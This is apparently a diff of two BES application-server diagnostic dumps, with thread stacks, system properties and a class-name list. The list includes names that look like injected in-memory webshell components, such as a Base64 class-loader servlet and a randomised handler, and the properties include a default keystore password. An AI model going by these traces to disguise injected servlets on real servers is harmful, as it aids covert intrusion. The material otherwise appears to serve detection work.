"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@48578a08
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:472)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
StackClassNames:
|
||||||
|
Base64ClassLoaderServlet
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
|
com.bes.enterprise.appserver.startup.Bootstrap
|
||||||
|
com.bes.enterprise.appserver.startup.CommonClassLoader$1
|
||||||
|
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||||
|
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||||
|
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||||
|
com.bes.enterprise.base.disruptor.util.Util
|
||||||
|
com.bes.enterprise.common.file.watcher.FileAlterationMonitor
|
||||||
|
com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator
|
||||||
|
com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque
|
||||||
|
com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor
|
||||||
|
com.bes.enterprise.server.builder.BesWebModule
|
||||||
|
com.bes.enterprise.startup.ASMain
|
||||||
|
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||||
|
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||||
|
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||||
|
com.bes.enterprise.web.util.net.Acceptor
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||||
|
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||||
|
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
|
||||||
|
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
|
||||||
|
com.bes.enterprise.web.util.threads.WorkQueue
|
||||||
|
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||||
|
com.bes.enterprise.web.websocket.server.WsFilter
|
||||||
|
com.bes.enterprise.webext.BESAppservValve
|
||||||
|
com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve
|
||||||
|
com.bes.enterprise.webext.BesContextCleanupValve
|
||||||
|
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||||
|
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||||
|
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||||
|
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||||
|
org.apache.logging.UKnKC.ErrorQvlgaHandler
|
||||||
|
org.hsqldb.lib.HsqlTimer
|
||||||
|
org.hsqldb.lib.HsqlTimer$TaskQueue
|
||||||
|
org.hsqldb.lib.HsqlTimer$TaskRunner
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Generated At 2025-08-10 14:56:17
|
# Generated At 2026-05-24 05:04:29
|
||||||
SystemProps:
|
SystemProps:
|
||||||
bes.loader: bes-system
|
bes.loader: bes-system
|
||||||
java.vendor: Oracle Corporation
|
java.vendor: Oracle Corporation
|
||||||
@@ -20,11 +20,11 @@ user.name: root
|
|||||||
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar"
|
shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar"
|
||||||
tomcat.util.buf.StringCache.byte.enabled: true
|
tomcat.util.buf.StringCache.byte.enabled: true
|
||||||
com.bes.hostName: 21437a35c6d3
|
com.bes.hostName: b6fa2ed19f7c
|
||||||
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
||||||
user.language: en
|
user.language: en
|
||||||
derby.system.home: /opt/bes/conf
|
derby.system.home: /opt/bes/conf
|
||||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
|
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||||
com.bes.enterprise.log.outAndErrNotRedirect: true
|
com.bes.enterprise.log.outAndErrNotRedirect: true
|
||||||
java.version: 1.8.0_342
|
java.version: 1.8.0_342
|
||||||
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||||
@@ -47,7 +47,7 @@ java.home: /usr/local/openjdk-8/jre
|
|||||||
java.vm.info: mixed mode
|
java.vm.info: mixed mode
|
||||||
com.bes.instanceName: server
|
com.bes.instanceName: server
|
||||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
|
os.version: 6.8.0-111-generic
|
||||||
path.separator: :
|
path.separator: :
|
||||||
java.vm.version: 25.342-b07
|
java.vm.version: 25.342-b07
|
||||||
com.bes.verboseMode: true
|
com.bes.verboseMode: true
|
||||||
@@ -63,7 +63,7 @@ java.naming.factory.url.pkgs: org.apache.naming:com.bes.enterprise.ejb.core.ivm.
|
|||||||
user.home: /root
|
user.home: /root
|
||||||
java.specification.vendor: Oracle Corporation
|
java.specification.vendor: Oracle Corporation
|
||||||
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic
|
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic
|
||||||
java.library.path: /opt/bes/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
|
java.library.path: /opt/bes/lib:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
|
||||||
java.vendor.url: http://java.oracle.com/
|
java.vendor.url: http://java.oracle.com/
|
||||||
com.bes.enterprise.deployments.classpath: false
|
com.bes.enterprise.deployments.classpath: false
|
||||||
java.vm.vendor: Oracle Corporation
|
java.vm.vendor: Oracle Corporation
|
||||||
@@ -82,7 +82,7 @@ java.awt.headless: true
|
|||||||
java.io.tmpdir: /tmp
|
java.io.tmpdir: /tmp
|
||||||
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||||
server.loader:
|
server.loader:
|
||||||
os.arch: aarch64
|
os.arch: amd64
|
||||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||||
com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory
|
com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory
|
||||||
bes.version: 9.5.1
|
bes.version: 9.5.1
|
||||||
@@ -105,132 +105,7 @@ javax.net.ssl.keyStorePassword: changeit
|
|||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
ThreadStacks:
|
ThreadStacks:
|
||||||
"http-nio-0.0.0.0-6900-AsyncTimeout" #69 daemon [TIMED_WAITING]
|
"http-thread-pool-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI RenewClean-[192.168.215.4:6600]" #84 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@74891c03
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #87 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI TCP Accept-6600" #79 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@70b6864a
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-6900-ClientPoller-0" #67 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RetryTimer" #51 daemon [WAITING] on java.util.TaskQueue@35b41638
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #75 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
|
||||||
|
|
||||||
"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389e1a89
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@44b609d
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
"RMI TCP Connection(2)-192.168.215.4" #85 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
|
||||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
|
||||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
|
||||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
|
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"admin-thread-pool-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #77 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -253,75 +128,75 @@ ThreadStacks:
|
|||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
||||||
|
|
||||||
"http-thread-pool-5" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a14f8fc
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"admin-thread-pool-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
